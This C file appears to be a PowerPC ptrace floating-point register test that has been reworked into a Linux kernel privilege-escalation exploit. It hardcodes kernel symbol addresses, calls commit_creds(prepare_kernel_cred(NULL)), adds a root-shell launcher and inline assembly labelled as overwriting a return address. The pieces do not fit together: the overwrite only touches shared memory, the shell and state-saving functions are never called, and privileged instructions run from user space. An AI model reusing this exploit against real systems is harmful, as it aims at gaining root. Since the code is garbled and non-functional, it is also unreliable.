#undef NDEBUG
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/shm.h>

#define COMMIT_CREDS_ADDRESS 0xffffffff810d26f0ul //this needs to be changed
#define PREPARE_KERNEL_CRED_ADDRESS 0xffffffff810d2950ul //this needs to be changed
#define OFFSET 8 

typedef int (* t_commit_creds)(void *);
typedef void *(* t_prepare_kernel_cred)(void *);

t_commit_creds commit_creds = (t_commit_creds)COMMIT_CREDS_ADDRESS;
t_prepare_kernel_cred prepare_kernel_cred = (t_prepare_kernel_cred)PREPARE_KERNEL_CRED_ADDRESS;

unsigned long u_srr0;
unsigned long u_srr1;
unsigned long u_lr;
unsigned long u_sp;
unsigned long u_cr;


static double expected = 0.123456L;

void start_sh() {
    char *args[] = {"/bin/sh", "-i", NULL};
    execve("/bin/sh", args, NULL);
}

void save_state() {
    __asm__ volatile (
        "mfspr %[srr0], 26;" // Save SRR0 (Program Counter)
        "mfspr %[srr1], 27;" // Save SRR1 (Machine State)
        "mr %[lr], 0;"       // Save Link Register
        "mr %[sp], 1;"       // Save Stack Pointer
        "mfcr %[cr];"        // Save Condition Register (optional)
        : [srr0] "=r" (u_srr0), [srr1] "=r" (u_srr1), 
          [lr] "=r" (u_lr), [sp] "=r" (u_sp), [cr] "=r" (u_cr)
        :
        : "memory"
    );
}


void restore_state() {
    __asm__ volatile (
        "mtlr %[lr];"        // Restore Link Register
        "mtspr 26, %[srr0];" // Restore SRR0 (Program Counter)
        "mtspr 27, %[srr1];" // Restore SRR1 (Machine State)
        "mr 1, %[sp];"       // Restore Stack Pointer
        "mtcr %[cr];"        // Restore Condition Register (optional)
        "rfi;"               // Return from interrupt, restores state
        :
        : [srr0] "r" (u_srr0), [srr1] "r" (u_srr1), 
          [lr] "r" (u_lr), [sp] "r" (u_sp), [cr] "r" (u_cr)
        : "memory"
    );
}


void exploit(){

  commit_creds(prepare_kernel_cred(NULL));

  restore_state();

}

static int child(int shm_id) {
    int *cptr = shmat(shm_id, NULL, 0);
    unsigned long exploit_addr = (unsigned long)&exploit; // Address of the exploit function

    asm volatile (
        "lfd    %%f0, 0(%0)    ;" // Load floating-point register (no-op for exploit)
        "lfd    %%f1, 0(%0)    ;"
        "li     %%r9, 1        ;" // Set r9 to signal parent
        "stw    %%r9, 0(%1)    ;"
        "1:"
        "lwz    %%r9, 0(%2)    ;" // Wait for signal from parent
        "cmpwi  %%r9, 0        ;"
        "beq    1b             ;"
        "stw    %3, 0(%4)      ;" // Overwrite the return address with exploit address
        :
        : "b" (&expected), 
          "b" (&cptr[1]), 
          "b" (&cptr[0]), 
          "r" (exploit_addr), 
          "r" ((unsigned long)cptr + OFFSET) // Replace with the actual address offset
        : "memory", "r9", "fr0", "fr1"
    );

    return 0;
}


int start_trace(pid_t child)
{
	int ret;

	ret = ptrace(PTRACE_ATTACH, child, NULL, NULL);
	if (ret) {
		perror("ptrace(PTRACE_ATTACH) failed");
		return -1;
	}
	ret = waitpid(child, NULL, 0);
	if (ret != child) {
		perror("waitpid() failed");
		return -1;
	}
	return 0;
}

int stop_trace(pid_t child)
{
	int ret;

	ret = ptrace(PTRACE_DETACH, child, NULL, NULL);
	if (ret) {
		perror("ptrace(PTRACE_DETACH) failed");
		return -1;
	}
	return 0;
}

long raw_ptrace(enum __ptrace_request request, pid_t pid, unsigned long addr, void *data)
{
	return syscall(__NR_ptrace, request, pid, (void *)addr, data);
}

#define PEEKS_PER_FPR	(sizeof(__u64) / sizeof(unsigned long))

int peek_fpr(pid_t child, int frnum, __u64 *fpr)
{
	unsigned long *p, addr;
	int i, fpindex;
	long ret;

	fpindex = PEEKS_PER_FPR * frnum;

	p = (unsigned long *)fpr;
	for (i = 0; i < PEEKS_PER_FPR; i++, p++) {
		addr = sizeof(unsigned long) * (PT_FPR0 + fpindex + i);
		ret = raw_ptrace(PTRACE_PEEKUSER, child, addr, p);
		if (ret) {
			perror("ptrace(PTRACE_PEEKUSR) failed");
			return -1;
		}
	}

	return 0;
}

int parent(pid_t child)
{
	double f0, f1;

	assert(start_trace(child) == 0);

	assert(peek_fpr(child, 0, (__u64 *)&f0) == 0);
	assert(peek_fpr(child, 1, (__u64 *)&f1) == 0);

	assert(stop_trace(child) == 0);

	printf("expected = %e\n", f0);
	printf("f0       = %e\n", f0);
	printf("f1       = %e\n", f1);

	if (f0 != expected || f1 != expected) {
		printf("FAIL - values don't match! Kernel is buggy.\n");
		return -1;
	}

	printf("OK - values match\n");

	return 0;
}

int main(void)
{
	int shm_id, ret, status, *pptr;
	pid_t pid;

	shm_id = shmget(IPC_PRIVATE, sizeof(int) * 2, 0777|IPC_CREAT);
	assert(shm_id != -1);

	pid = fork();
	assert(pid >= 0);

	if (pid == 0)
		exit(child(shm_id));

	pptr = shmat(shm_id, NULL, 0);

	// Wait for child to signal us to continue
	while (!pptr[1])
		asm volatile("" : : : "memory");

	ret = parent(pid);
	if (ret) {
		kill(pid, SIGTERM);
		shmdt((void *)pptr);
		shmctl(shm_id, IPC_RMID, NULL);
		return -1;
	}

	// Signal child to exit
	pptr[0] = 1;
	shmdt((void *)pptr);

	ret = wait(&status);
	shmctl(shm_id, IPC_RMID, NULL);

	assert(ret != -1 && WIFEXITED(status) && !WEXITSTATUS(status));

	return 0;
}